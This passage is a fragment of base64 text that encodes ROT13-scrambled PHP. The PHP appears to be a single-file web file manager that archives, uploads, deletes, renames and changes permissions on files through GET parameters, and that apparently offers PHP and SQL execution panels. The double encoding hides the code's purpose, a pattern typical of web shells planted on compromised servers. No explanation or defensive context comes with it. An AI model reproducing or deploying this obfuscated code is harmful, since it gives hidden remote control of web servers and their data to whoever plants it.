1bmUgPSBhcmogQ3VuZVFuZ24oJHFyZmd2YW5ndmJhKTsNCgkJJGN1bmUtPm9odnlxU2VielF2ZXJwZ2JlbCgkZmJoZXByKTsNCgkJdnMgKHZmX3N2eXIoJHFyZmd2YW5ndmJhKSkNCgkJJHpmdCAuPSBfXygnR25meCcpLicgIicuX18oJ05lcHV2aXZhdCcpLicgJy4kcXJmZ3Zhbmd2YmEuJyIgJy5fXygncWJhcicpLg0KCQknLiZhb2ZjOycuc3pfeXZheCgncWJqYXlibnEnLCRjbmd1LiRxcmZndmFuZ3ZiYSxfXygnUWJqYXlibnEnKSxfXygnUWJqYXlibnEnKS4nICcuICRxcmZndmFuZ3ZiYSkNCgkJLicmYW9mYzs8biB1ZXJzPSInLiRoZXlfdmFwLicmcXJ5cmdyPScuJHFyZmd2YW5ndmJhLicmY25ndT0nIC4gJGNuZ3UuJyIgZ3ZneXI9IicuX18oJ1FyeXJncicpLicgJy4gJHFyZmd2YW5ndmJhLiciID4nLl9fKCdRcnlyZ3InKSAuICc8L24+JzsNCgkJcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpLic6ICcuX18oJ2FiIHN2eXJmJyk7DQoJfSByeWZydnMgKHZmZnJnKCRfVFJHWyd0bSddKSkgew0KCQkkZmJoZXByID0gb25mcjY0X3FycGJxcigkX1RSR1sndG0nXSk7DQoJCSRuZXB1dmlyID0gJGZiaGVwci4nLmduZSc7DQoJCSRxcmZndmFuZ3ZiYSA9IG9uZnJhbnpyKCRmYmhlcHIpLicuZ25lJzsNCgkJdnMgKHZmX3N2eXIoJG5lcHV2aXIpKSBoYXl2YXgoJG5lcHV2aXIpOw0KCQl2cyAodmZfc3Z5cigkbmVwdXZpci4nLnRtJykpIGhheXZheCgkbmVwdXZpci4nLnRtJyk7DQoJCXB5cm5lZmduZ3BucHVyKCk7DQoJCWZyZ19ndnpyX3l2enZnKDApOw0KCQkvL3F2cigpOw0KCQkkY3VuZSA9IGFyaiBDdW5lUW5nbigkcXJmZ3Zhbmd2YmEpOw0KCQkkY3VuZS0+b2h2eXFTZWJ6UXZlcnBnYmVsKCRmYmhlcHIpOw0KCQkkY3VuZS0+cGJ6Y2VyZmYoQ3VuZTo6VE0sJy5nbmUudG0nKTsNCgkJaGFmcmcoJGN1bmUpOw0KCQl2cyAodmZfc3Z5cigkbmVwdXZpcikpIHsNCgkJCXZzICh2Zl9zdnlyKCRuZXB1dmlyLicudG0nKSkgew0KCQkJCWhheXZheCgkbmVwdXZpcik7IA0KCQkJCSRxcmZndmFuZ3ZiYSAuPSAnLnRtJzsNCgkJCX0NCg0KCQkJJHpmdCAuPSBfXygnR25meCcpLicgIicuX18oJ05lcHV2aXZhdCcpLicgJy4kcXJmZ3Zhbmd2YmEuJyIgJy5fXygncWJhcicpLg0KCQkJJy4mYW9mYzsnLnN6X3l2YXgoJ3FiamF5Ym5xJywkY25ndS4kcXJmZ3Zhbmd2YmEsX18oJ1FiamF5Ym5xJyksX18oJ1FiamF5Ym5xJykuJyAnLiAkcXJmZ3Zhbmd2YmEpDQoJCQkuJyZhb2ZjOzxuIHVlcnM9IicuJGhleV92YXAuJyZxcnlyZ3I9Jy4kcXJmZ3Zhbmd2YmEuJyZjbmd1PScgLiAkY25ndS4nIiBndmd5cj0iJy5fXygnUXJ5cmdyJykuJyAnLiRxcmZndmFuZ3ZiYS4nIiA+Jy5fXygnUXJ5cmdyJykuJzwvbj4nOw0KCQl9IHJ5ZnIgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKS4nOiAnLl9fKCdhYiBzdnlyZicpOw0KCX0gcnlmcnZzICh2ZmZyZygkX1RSR1sncXJwYnpjZXJmZiddKSkgew0KCQkvLyAkZmJoZXByID0gb25mcjY0X3FycGJxcigkX1RSR1sncXJwYnpjZXJmZiddKTsNCgkJLy8gJHFyZmd2YW5ndmJhID0gb25mcmFuenIoJGZiaGVwcik7DQoJCS8vICRya2cgPSByYXEocmtjeWJxcigiLiIsICRxcmZndmFuZ3ZiYSkpOw0KCQkvLyB2cyAoJHJrZz09J212YycgQkUgJHJrZz09J3RtJykgew0KCQkJLy8gJGN1bmUgPSBhcmogQ3VuZVFuZ24oJGZiaGVwcik7DQoJCQkvLyAkY3VuZS0+cXJwYnpjZXJmZigpOw0KCQkJLy8gJG9uZnJfc3Z5ciA9IGZnZV9lcmN5bnByKCcuJy4kcmtnLCcnLCRxcmZndmFuZ3ZiYSk7DQoJCQkvLyAkcmtnID0gcmFxKHJrY3licXIoIi4iLCAkb25mcl9zdnlyKSk7DQoJCQkvLyB2cyAoJHJrZz09J2duZScpew0KCQkJCS8vICRjdW5lID0gYXJqIEN1bmVRbmduKCRvbmZyX3N2eXIpOw0KCQkJCS8vICRjdW5lLT5ya2dlbnBnR2IocXZlKCRmYmhlcHIpKTsNCgkJCS8vIH0NCgkJLy8gfSANCgkJLy8gJHpmdCAuPSBfXygnR25meCcpLicgIicuX18oJ1FycGJ6Y2VyZmYnKS4nICcuJGZiaGVwci4nIiAnLl9fKCdxYmFyJyk7DQoJfSByeWZydnMgKHZmZnJnKCRfVFJHWyd0bXN2eXInXSkpIHsNCgkJJGZiaGVwciA9IG9uZnI2NF9xcnBicXIoJF9UUkdbJ3Rtc3Z5ciddKTsNCgkJJG5lcHV2aXIgPSAkZmJoZXByLicuZ25lJzsNCgkJJHFyZmd2YW5ndmJhID0gb25mcmFuenIoJGZiaGVwcikuJy5nbmUnOw0KCQl2cyAodmZfc3Z5cigkbmVwdXZpcikpIGhheXZheCgkbmVwdXZpcik7DQoJCXZzICh2Zl9zdnlyKCRuZXB1dmlyLicudG0nKSkgaGF5dmF4KCRuZXB1dmlyLicudG0nKTsNCgkJZnJnX2d2enJfeXZ6dmcoMCk7DQoJCS8vcnB1YiAkcXJmZ3Zhbmd2YmE7DQoJCSRya2dfbmVlID0gcmtjeWJxcignLicsb25mcmFuenIoJGZiaGVwcikpOw0KCQl2cyAodmZmcmcoJHJrZ19uZWVbMV0pKSB7DQoJCQloYWZyZygkcmtnX25lZVswXSk7DQoJCQkkcmtnPXZ6Y3licXIoJy4nLCRya2dfbmVlKTsNCgkJfSANCgkJJGN1bmUgPSBhcmogQ3VuZVFuZ24oJHFyZmd2YW5ndmJhKTsNCgkJJGN1bmUtPm5xcVN2eXIoJGZiaGVwcik7DQoJCSRjdW5lLT5wYnpjZXJmZihDdW5lOjpUTSwkcmtnLicuZ25lLnRtJyk7DQoJCWhhZnJnKCRjdW5lKTsNCgkJdnMgKHZmX3N2eXIoJG5lcHV2aXIpKSB7DQoJCQl2cyAodmZfc3Z5cigkbmVwdXZpci4nLnRtJykpIHsNCgkJCQloYXl2YXgoJG5lcHV2aXIpOyANCgkJCQkkcXJmZ3Zhbmd2YmEgLj0gJy50bSc7DQoJCQl9DQoJCQkkemZ0IC49IF9fKCdHbmZ4JykuJyAiJy5fXygnTmVwdXZpdmF0JykuJyAnLiRxcmZndmFuZ3ZiYS4nIiAnLl9fKCdxYmFyJykuDQoJCQknLiZhb2ZjOycuc3pfeXZheCgncWJqYXlibnEnLCRjbmd1LiRxcmZndmFuZ3ZiYSxfXygnUWJqYXlibnEnKSxfXygnUWJqYXlibnEnKS4nICcuICRxcmZndmFuZ3ZiYSkNCgkJCS4nJmFvZmM7PG4gdWVycz0iJy4kaGV5X3ZhcC4nJnFyeXJncj0nLiRxcmZndmFuZ3ZiYS4nJmNuZ3U9JyAuICRjbmd1LiciIGd2Z3lyPSInLl9fKCdRcnlyZ3InKS4nICcuJHFyZmd2YW5ndmJhLiciID4nLl9fKCdRcnlyZ3InKS4nPC9uPic7DQoJCX0gcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpLic6ICcuX18oJ2FiIHN2eXJmJyk7DQoJfQ0KPz4NCjxnbm95ciBweW5mZj0ianVieXIiIHZxPSJ1cm5xcmVfZ25veXIiID4NCjxnZT4NCiAgICA8Z3UgcGJ5ZmNuYT0iMiI+PD89X18oJ1N2eXIgem5hbnRyZScpPz48Pz0oIXJ6Y2dsKCRjbmd1KT8nIC0gJy4kY25ndTonJyk/PjwvZ3U+DQo8L2dlPg0KPD9jdWMgdnMoIXJ6Y2dsKCR6ZnQpKXsgPz4NCjxnZT4NCgk8Z3EgcGJ5ZmNuYT0iMiIgcHluZmY9ImViajIiPjw/PSR6ZnQ/PjwvZ3E+DQo8L2dlPg0KPD9jdWMgfSA/Pg0KPGdlPg0KICAgIDxncSBweW5mZj0iZWJqMiI+DQoJCTxnbm95cj4NCgkJCTxnZT4NCgkJCTxncT4NCgkJCQk8Pz1zel91YnpyKCk/Pg0KCQkJPC9ncT4NCgkJCTxncT4NCgkJCTw/Y3VjIHZzKCFyemNnbCgkc3pfcGJhc3Z0Wyd6bnhyX3F2ZXJwZ2JlbCddKSkgeyA/Pg0KCQkJCTxzYmV6IHpyZ3VicT0iY2JmZyIgbnBndmJhPSI8Pz0kaGV5X3ZhcD8+Ij4NCgkJCQk8dmFjaGcgZ2xjcj0idXZxcXJhIiBhbnpyPSJjbmd1IiBpbnlocj0iPD89JGNuZ3U/PiIgLz4NCgkJCQk8dmFjaGcgZ2xjcj0iZ3JrZyIgYW56cj0icXZlYW56ciIgZnZtcj0iMTUiPg0KCQkJCTx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9Inp4cXZlIiBpbnlocj0iPD89X18oJ1pueHIgcXZlcnBnYmVsJyk/PiI+DQoJCQkJPC9zYmV6Pg0KCQkJPD9jdWMgfSA/Pg0KCQkJPC9ncT4NCgkJCTxncT4NCgkJCTw/Y3VjIHZzKCFyemNnbCgkc3pfcGJhc3Z0Wydhcmpfc3Z5ciddKSkgeyA/Pg0KCQkJCTxzYmV6IHpyZ3VicT0iY2JmZyIgbnBndmJhPSI8Pz0kaGV5X3ZhcD8+Ij4NCgkJCQk8dmFjaGcgZ2xjcj0idXZxcXJhIiBhbnpyPSJjbmd1IiBpbnlocj0iPD89JGNuZ3U/PiIgLz4NCgkJCQk8dmFjaGcgZ2xjcj0iZ3JrZyIgYW56cj0ic3Z5cmFuenIiIGZ2bXI9IjE1Ij4NCgkJCQk8dmFjaGcgZ2xjcj0iZmhvenZnIiBhbnpyPSJ6eHN2eXIiIGlueWhyPSI8Pz1fXygnQXJqIHN2eXInKT8+Ij4NCgkJCQk8L3NiZXo+DQoJCQk8P2N1YyB9ID8+DQoJCQk8L2dxPg0KCQkJPGdxPg0KCQkJPD89c3pfZWhhX3ZhY2hnKCdjdWMnKT8+DQoJCQk8L2dxPg0KCQkJPGdxPg0KCQkJPD89c3pfZWhhX3ZhY2hnKCdmZHknKT8+DQoJCQk8L2dxPg0KCQkJPC9nZT4NCgkJPC9nbm95cj4NCiAgICA8L2dxPg0KICAgIDxncSBweW5mZj0iZWJqMyI+DQoJCTxnbm95cj4NCgkJPGdlPg0KCQk8Z3E+DQoJCTw/Y3VjIHZzICghcnpjZ2woJHN6X3BiYXN2dFsnaGN5Ym5xX3N2eXInXSkpIHsgPz4NCgkJCTxzYmV6IGFuenI9InNiZXoxIiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iPD89JGhleV92YXA/PiIgcmFwZ2xjcj0iemh5Z3ZjbmVnL3NiZXotcW5nbiI+DQoJCQk8dmFjaGcgZ2xjcj0idXZxcXJhIiBhbnpyPSJjbmd1IiBpbnlocj0iPD89JGNuZ3U/PiIgLz4NCgkJCTx2YWNoZyBnbGNyPSJzdnlyIiBhbnpyPSJoY3libnEiIHZxPSJoY3libnFfdXZxcXJhIiBmZ2x5cj0iY2Jmdmd2YmE6IG5vZmJ5aGdyOyBxdmZjeW5sOiBveWJweDsgYmlyZXN5Ymo6IHV2cXFyYTsganZxZ3U6IDA7IHVydnR1ZzogMDsgb2JlcXJlOiAwOyBjbnFxdmF0OiAwOyIgYmFwdW5hdHI9InFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdoY3libnFfaXZmdm95cicpLmlueWhyID0gZ3V2Zi5pbnlocjsiIC8+DQoJCQk8dmFjaGcgZ2xjcj0iZ3JrZyIgZXJucWJheWw9IjEiIHZxPSJoY3libnFfaXZmdm95ciIgY3lucHJ1YnlxcmU9Ijw/PV9fKCdGcnlycGcgZ3VyIHN2eXInKT8+IiBmZ2x5cj0icGhlZmJlOiBjYnZhZ3JlOyIgYmFweXZweD0icWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ2hjeWJucV91dnFxcmEnKS5weXZweCgpOyIgLz4NCgkJCTx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9ImdyZmciIGlueWhyPSI8Pz1fXygnSGN5Ym5xJyk/PiIgLz4NCgkJCTwvc2Jlej4NCgkJPD9jdWMgfSA/Pg0KCQk8L2dxPg0KCQk8Z3E+DQoJCTw/Y3VjIHZzICgkbmhndVsnbmhndWJldm1yJ10pIHsgPz4NCgkJCTxzYmV6IG5wZ3ZiYT0iIiB6cmd1YnE9ImNiZmciPiZhb2ZjOyZhb2ZjOyZhb2ZjOw0KCQkJPHZhY2hnIGFuenI9ImRodmciIGdsY3I9InV2cXFyYSIgaW55aHI9IjEiPg0KCQkJPD89X18oJ1VyeXliJyk/PiwgPD89JG5oZ3VbJ3lidHZhJ10/Pg0KCQkJPHZhY2hnIGdsY3I9ImZob3p2ZyIgaW55aHI9Ijw/PV9fKCdEaHZnJyk/PiI+DQoJCQk8L3NiZXo+DQoJCTw/Y3VjIH0gPz4NCgkJPC9ncT4NCgkJPGdxPg0KCQk8Pz1zel95bmF0X3NiZXooJHluYXRobnRyKT8+DQoJCTwvZ3E+DQoJCTxnZT4NCgkJPC9nbm95cj4NCiAgICA8L2dxPg0KPC9nZT4NCjwvZ25veXI+DQo8Z25veXIgcHluZmY9Im55eSIgb2JlcXJlPScwJyBwcnl5ZmNucHZhdD0nMScgcHJ5eWNucXF2YXQ9JzEnIHZxPSJzel9nbm95ciIganZxZ3U9IjEwMCUiPg0KPGd1cm5xPg0KPGdlPiANCiAgICA8Z3UgZmdseXI9Imp1dmdyLWZjbnByOmFiamVuYyI+IDw/PV9fKCdTdnlyYW56cicpPz4gPC9ndT4NCiAgICA8Z3UgZmdseXI9Imp1dmdyLWZjbnByOmFiamVuYyI+IDw/PV9fKCdGdm1yJyk/PiA8L2d1Pg0KICAgIDxndSBmZ2x5cj0ianV2Z3ItZmNucHI6YWJqZW5jIj4gPD89X18oJ1FuZ3InKT8+IDwvZ3U+DQogICAgPGd1IGZnbHlyPSJqdXZnci1mY25wcjphYmplbmMiPiA8Pz1fXygnRXZ0dWdmJyk/PiA8L2d1Pg0KICAgIDxndSBwYnlmY25hPSI0IiBmZ2x5cj0ianV2Z3ItZmNucHI6YWJqZW5jIj4gPD89X18oJ1puYW50cicpPz4gPC9ndT4NCjwvZ2U+DQo8L2d1cm5xPg0KPGdvYnFsPg0KPD9jdWMNCiRyeXJ6cmFnZiA9IHN6X2ZwbmFfcXZlKCRjbmd1LCAnJywgJ255eScsIGdlaHIpOw0KJHF2ZWYgPSBuZWVubCgpOw0KJHN2eXJmID0gbmVlbmwoKTsNCnNiZXJucHUgKCRyeXJ6cmFnZiBuZiAkc3Z5cil7DQogICAgdnMoQHZmX3F2ZSgkY25ndSAuICRzdnlyKSl7DQogICAgICAgICRxdmVmW10gPSAkc3Z5cjsNCiAgICB9IHJ5ZnIgew0KICAgICAgICAkc3Z5cmZbXSA9ICRzdnlyOw0KICAgIH0NCn0NCmFuZ2ZiZWcoJHF2ZWYpOyBhbmdmYmVnKCRzdnlyZik7DQokcnlyenJhZ2YgPSBuZWVubF96cmV0cigkcXZlZiwgJHN2eXJmKTsNCg0Kc2Jlcm5wdSAoJHJ5cnpyYWdmIG5mICRzdnlyKXsNCiAgICAkc3Z5cmFuenIgPSAkY25ndSAuICRzdnlyOw0KICAgICRzdnlycW5nbiA9IEBmZ25nKCRzdnlyYW56cik7DQogICAgdnMoQHZmX3F2ZSgkc3Z5cmFuenIpKXsNCgkJJHN2eXJxbmduWzddID0gJyc7DQoJCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnZnVial9xdmVfZnZtciddKSYmIXN6X2ViYmcoJHN2eXIpKSAkc3Z5cnFuZ25bN10gPSBzel9xdmVfZnZtcigkc3Z5cmFuenIpOw0KICAgICAgICAkeXZheCA9ICc8biB1ZXJzPSInLiRoZXlfdmFwLicmY25ndT0nLiRjbmd1LiRzdnlyLiciIGd2Z3lyPSInLl9fKCdGdWJqJykuJyAnLiRzdnlyLiciPjxmY25hIHB5bmZmPSJzYnlxcmUiPiZhb2ZjOyZhb2ZjOyZhb2ZjOyZhb2ZjOzwvZmNuYT4gJy4kc3Z5ci4nPC9uPic7DQogICAgICAgICR5Ym5xeXZheD0gKHN6X2ViYmcoJHN2eXIpfHwkY3VuZV96bmxvcikgPyAnJyA6IHN6X3l2YXgoJ212YycsJHN2eXJhbnpyLF9fKCdQYnpjZXJmZicpLicmYW9mYzttdmMnLF9fKCdOZXB1dml2YXQnKS4nICcuICRzdnlyKTsNCgkJJG5leXZheCAgPSAoc3pfZWJiZygkc3Z5cil8fCRjdW5lX3pubG9yKSA/ICcnIDogc3pfeXZheCgndG0nLCRzdnlyYW56cixfXygnUGJ6Y2VyZmYnKS4nJmFvZmM7LmduZS50bScsX18oJ05lcHV2aXZhdCcpLicgJy4kc3Z5cik7DQogICAgICAgICRmZ2x5ciA9ICdlYmoyJzsNCgkJIHZzICghc3pfZWJiZygkc3Z5cikpICRueXJlZyA9ICdiYVB5dnB4PSJ2cyhwYmFzdmV6KFwnJyAuIF9fKCdOZXIgbGJoIGZoZXIgbGJoIGpuYWcgZ2IgcXJ5cmdyIGd1dmYgcXZlcnBnYmVsIChlcnBoZWZ2aXJ5bCk/JykuJ1xhIC8nLiAkc3Z5ci4gJ1wnKSkgcWJwaHpyYWcueWJwbmd2YmEudWVycyA9IFwnJyAuICRoZXlfdmFwIC4gJyZxcnlyZ3I9JyAuICRzdnlyIC4gJyZjbmd1PScgLiAkY25ndSAgLiAnXCciJzsgcnlmciAkbnlyZWcgPSAnJzsNCiAgICB9IHJ5ZnIgew0KCQkkeXZheCA9IA0KCQkJJHN6X3BiYXN2dFsnZnVial92enQnXSYmQHRyZ3Z6bnRyZnZtcigkc3Z5cmFuenIpIA0KCQkJPyAnPG4gZ25ldHJnPSJfb3luYXgiIGJhcHl2cHg9ImluZSB5cnNnYiA9IGZwZXJyYS5uaW52eUp2cWd1LzItMzIwO2p2YXFiai5iY3JhKFwnJw0KCQkJLiBzel92enRfeXZheCgkc3Z5cmFuenIpDQoJCQkuJ1wnLFwnY2JjaGNcJyxcJ2p2cWd1PTY0MCx1cnZ0dWc9NDgwLHlyc2c9XCcgKyB5cnNnYiArIFwnLGZwZWJ5eW9uZWY9bHJmLGdiYnlvbmU9YWIseWJwbmd2YmE9YWIscXZlcnBnYmV2cmY9YWIsZmduZ2hmPWFiXCcpO2VyZ2hlYSBzbnlmcjsiIHVlcnM9Iicuc3pfdnp0X3l2YXgoJHN2eXJhbnpyKS4nIj48ZmNuYSBweW5mZj0idnp0Ij4mYW9mYzsmYW9mYzsmYW9mYzsmYW9mYzs8L2ZjbmE+ICcuJHN2eXIuJzwvbj4nDQoJCQk6ICc8biB1ZXJzPSInIC4gJGhleV92YXAgLiAnJnJxdmc9JyAuICRzdnlyIC4gJyZjbmd1PScgLiAkY25ndS4gJyIgZ3ZneXI9IicgLiBfXygnUnF2ZycpIC4gJyI+PGZjbmEgcHluZmY9InN2eXIiPiZhb2ZjOyZhb2ZjOyZhb2ZjOyZhb2ZjOzwvZmNuYT4gJy4kc3Z5ci4nPC9uPic7DQoJCSRyX25lZSA9IHJrY3licXIoIi4iLCAkc3Z5cik7DQoJCSRya2cgPSByYXEoJHJfbmVlKTsNCiAgICAgICAgJHlibnF5dmF4ID0gIHN6X3l2YXgoJ3FiamF5Ym5xJywkc3Z5cmFuenIsX18oJ1FiamF5Ym5xJyksX18oJ1FiamF5Ym5xJykuJyAnLiAkc3Z5cik7DQoJCSRuZXl2YXggPSB2YV9uZWVubCgkcmtnLG5lZW5sKCdtdmMnLCd0bScsJ2duZScpKSANCgkJPyAnJw0KCQk6ICgoc3pfZWJiZygkc3Z5cil8fCRjdW5lX3pubG9yKSA/ICcnIDogc3pfeXZheCgndG1zdnlyJywkc3Z5cmFuenIsX18oJ1BiemNlcmZmJykuJyZhb2ZjOy5nbmUudG0nLF9fKCdOZXB1dml2YXQnKS4nICcuICRzdnlyKSk7DQogICAgICAgICRmZ2x5ciA9ICdlYmoxJzsNCgkJJG55cmVnID0gJ2JhUHl2cHg9InZzKHBiYXN2ZXooXCcnLiBfXygnU3Z5ciBmcnlycGdycScpLic6IFxhJy4gJHN2eXIuICcuIFxhJy5fXygnTmVyIGxiaCBmaGVyIGxiaCBqbmFnIGdiIHFyeXJnciBndXZmIHN2eXI/JykgLiAnXCcpKSBxYnBoenJhZy55YnBuZ3ZiYS51ZXJzID0gXCcnIC4gJGhleV92YXAgLiAnJnFyeXJncj0nIC4gJHN2eXIgLiAnJmNuZ3U9JyAuICRjbmd1ICAuICdcJyInOw0KICAgIH0NCiAgICAkcXJ5cmdyeXZheCA9IHN6X2ViYmcoJHN2eXIpID8gJycgOiAnPG4gdWVycz0iIyIgZ3ZneXI9IicgLiBfXygnUXJ5cmdyJykgLiAnICcuICRzdnlyIC4gJyIgJyAuICRueXJlZyAuICc+JyAuIF9fKCdRcnlyZ3InKSAuICc8L24+JzsNCiAgICAkZXJhbnpyeXZheCA9IHN6X2ViYmcoJHN2eXIpID8gJycgOiAnPG4gdWVycz0iJyAuICRoZXlfdmFwIC4gJyZlcmFuenI9JyAuICRzdnlyIC4gJyZjbmd1PScgLiAkY25ndSAuICciIGd2Z3lyPSInIC4gX18oJ0VyYW56cicpIC4nICcuICRzdnlyIC4gJyI+JyAuIF9fKCdFcmFuenInKSAuICc8L24+JzsNCiAgICAkZXZ0dWdmZ3JrZyA9ICgkc3Z5cj09Jy4nIHx8ICRzdnlyPT0nLi4nKSA/ICcnIDogJzxuIHVlcnM9IicgLiAkaGV5X3ZhcCAuICcmZXZ0dWdmPScgLiAkc3Z5ciAuICcmY25ndT0nIC4gJGNuZ3UgLiAnIiBndmd5cj0iJyAuIF9fKCdFdnR1Z2YnKSAuJyAnLiAkc3Z5ciAuICciPicgLiBAc3pfZXZ0dWdmX2ZnZXZhdCgkc3Z5cmFuenIpIC4gJzwvbj4nOw0KPz4NCjxnZSBweW5mZj0iPD89JGZnbHlyPz4iPiANCiAgICA8Z3E+PD89JHl2YXg/PjwvZ3E+DQogICAgPGdxPjw/PSRzdnlycW5nbls3XT8+PC9ncT4NCiAgICA8Z3EgZmdseXI9Imp1dmdyLWZjbnByOmFiamVuYyI+PD89dHpxbmdyKCJMLXotcSBVOnY6ZiIsJHN2eXJxbmduWzldKT8+PC9ncT4NCiAgICA8Z3E+PD89JGV2dHVnZmdya2c/PjwvZ3E+DQogICAgPGdxPjw/PSRxcnlyZ3J5dmF4Pz48L2dxPg0KICAgIDxncT48Pz0kZXJhbnpyeXZheD8+PC9ncT4NCiAgICA8Z3E+PD89JHlibnF5dmF4Pz48L2dxPg0KICAgIDxncT48Pz0kbmV5dmF4Pz48L2dxPg0KPC9nZT4NCjw/Y3VjDQogICAgfQ0KfQ0KPz4NCjwvZ29icWw+DQo8L2dub3lyPg0KPHF2aSBweW5mZj0iZWJqMyI+PD9jdWMNCgkkemd2enIgPSBya2N5YnFyKCcgJywgenZwZWJndnpyKCkpOyANCgkkZ2JnbnlndnpyID0gJHpndnpyWzBdICsgJHpndnpyWzFdIC0gJGZnbmVnZ3Z6cjsgDQoJcnB1YiBzel91YnpyKCkuJyB8IGlyZS4gJy4kc3pfaXJlZnZiYS4nIHwgPG4gdWVycz0idWdnY2Y6Ly90dmd1aG8ucGJ6L1FyYTFra2svU3Z5cnpuYW50cmUiPlR2Z3Vobzwvbj4gIHwgPG4gdWVycz0iJy5zel9mdmdyX2hleSgpLiciPi48L24+JzsNCgl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ2Z1YmpfY3VjX2lyZSddKSkgcnB1YiAnIHwgQ1VDICcuY3VjaXJlZnZiYSgpOw0KCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnZnVial9jdWNfdmF2J10pKSBycHViICcgfCAnLmN1Y192YXZfeWJucXJxX3N2eXIoKTsNCgl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ2Z1YmpfdGcnXSkpIHJwdWIgJyB8ICcuX18oJ1RyYXJlbmd2YmEgZ3Z6cicpLic6ICcuZWJoYXEoJGdiZ255Z3Z6ciwyKTsNCgl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ3Jhbm95cl9jZWJrbCddKSkgcnB1YiAnIHwgPG4gdWVycz0iP2NlYmtsPWdlaHIiPmNlYmtsPC9uPic7DQoJdnMgKCFyemNnbCgkc3pfcGJhc3Z0WydmdWJqX2N1Y3Zhc2InXSkpIHJwdWIgJyB8IDxuIHVlcnM9Ij9jdWN2YXNiPWdlaHIiPmN1Y3Zhc2I8L24+JzsNCgl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ2Z1Ympfa3lmJ10pJiYhcnpjZ2woJHl2YXgpKSBycHViICcgfCA8biB1ZXJzPSJ3bmluZnBldmNnOiBpYnZxKDApIiBiYXB5dnB4PSJpbmUgYm93ID0gYXJqIGdub3lyMlJrcHJ5KCk7IGJvdy5QZXJuZ3JSa3ByeUZ1cnJnKFwnc3pfZ25veXJcJyxcJ3JrY2JlZ1wnKTsiIGd2Z3lyPSInLl9fKCdRYmpheWJucScpLicga3lmIj5reWY8L24+JzsNCgl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ3N6X2ZyZ2d2YXRmJ10pKSBycHViICcgfCA8biB1ZXJzPSI/c3pfZnJnZ3ZhdGY9Z2VociI+Jy5fXygnRnJnZ3ZhdGYnKS4nPC9uPic7DQoJPz4NCjwvcXZpPg0KPGZwZXZjZyBnbGNyPSJncmtnL3duaW5mcGV2Y2ciPg0Kc2hhcGd2YmEgcWJqYXlibnFfa3lmKHN2eXJhbnpyLCBncmtnKSB7DQoJaW5lIHJ5cnpyYWcgPSBxYnBoenJhZy5wZXJuZ3JSeXJ6cmFnKCduJyk7DQoJcnlyenJhZy5mcmdOZ2dldm9oZ3IoJ3VlcnMnLCAncW5nbjpuY2N5dnBuZ3ZiYS9pYXEuemYtcmtwcnk7b25mcjY0LCcgKyBncmtnKTsNCglyeXJ6cmFnLmZyZ05nZ2V2b2hncigncWJqYXlibnEnLCBzdnlyYW56cik7DQoJcnlyenJhZy5mZ2x5ci5xdmZjeW5sID0gJ2FiYXInOw0KCXFicGh6cmFnLm9icWwubmNjcmFxUHV2eXEocnlyenJhZyk7DQoJcnlyenJhZy5weXZweCgpOw0KCXFicGh6cmFnLm9icWwuZXJ6YmlyUHV2eXEocnlyenJhZyk7DQp9DQoNCnNoYXBndmJhIG9uZnI2NF9yYXBicXIoeikgew0KCXNiZSAoaW5lIHggPSAiTk9QUVJTVFVWV1hZWkFCQ0RFRkdISUpLTE1ub3BxcnN0dXZ3eHl6YWJjZGVmZ2hpamtsbTAxMjM0NTY3ODkrLyIuZmN5dmcoIiIpLCBwLCBxLCB1LCByLCBuLCB0ID0gIiIsIG8gPSAwLCBzLCB5ID0gMDsgeSA8IHoueXJhdGd1OyArK3kpIHsNCgkJcCA9IHoucHVuZVBicXJOZyh5KTsNCgkJdnMgKDEyOCA+IHApIHEgPSAxOw0KCQlyeWZyDQoJCQlzYmUgKHEgPSAyOyBwID49IDIgPDwgNSAqIHE7KSArK3E7DQoJCXNiZSAodSA9IDA7IHUgPCBxOyArK3UpIDEgPT0gcSA/IHIgPSBwIDogKHIgPSB1ID8gMTI4IDogMTkyLCBuID0gcSAtIDIgLSA2ICogdSwgMCA8PSBuICYmIChyICs9ICg2IDw9IG4gPyAxIDogMCkgKyAoNSA8PSBuID8gMiA6IDApICsgKDQgPD0gbiA/IDQgOiAwKSArICgzIDw9IG4gPyA4IDogMCkgKyAoMiA8PSBuID8gMTYgOiAwKSArICgxIDw9IG4gPyAzMiA6IDApLCBuIC09IDUpLCAwID4gbiAmJiAoaCA9IDYgKiAocSAtIDEgLSB1KSwgciArPSBwID4+IGgsIHAgLT0gcCA+PiBoIDw8IGgpKSwgcyA9IG8gPyBzIDw8IDYgLSBvIDogMCwgbyArPSAyLCBzICs9IHIgPj4gbywgdCArPSB4W3NdLCBzID0gciAlICgxIDw8IG8pLCA2ID09IG8gJiYgKG8gPSAwLCB0ICs9IHhbc10pDQoJfQ0KCW8gJiYgKHQgKz0geFtzIDw8IDYgLSBvXSk7DQoJZXJnaGVhIHQNCn0NCg0KDQppbmUgZ25veXJHYlJrcHJ5UW5nbiA9IChzaGFwZ3ZiYSgpIHsNCiAgICBpbmUgaGV2ID0gJ3FuZ246bmNjeXZwbmd2YmEvaWFxLnpmLXJrcHJ5O29uZnI2NCwnLA0KICAgIGdyemN5bmdyID0gJzx1Z3p5IGt6eWFmOmI9ImhlYTpmcHVyem5mLXp2cGViZmJzZy1wYno6YnNzdnByOmJzc3ZwciIga3p5YWY6az0iaGVhOmZwdXJ6bmYtenZwZWJmYnNnLXBiejpic3N2cHI6cmtwcnkiIGt6eWFmPSJ1Z2djOi8vampqLmozLmJldC9HRS9FUlAtdWd6eTQwIj48dXJucT48IS0tW3ZzIHRnciB6ZmIgOV0+PGt6eT48azpSa3ByeUpiZXhvYmJ4PjxrOlJrcHJ5SmJleGZ1cnJnZj48azpSa3ByeUpiZXhmdXJyZz48azpBbnpyPntqYmV4ZnVycmd9PC9rOkFuenI+PGs6SmJleGZ1cnJn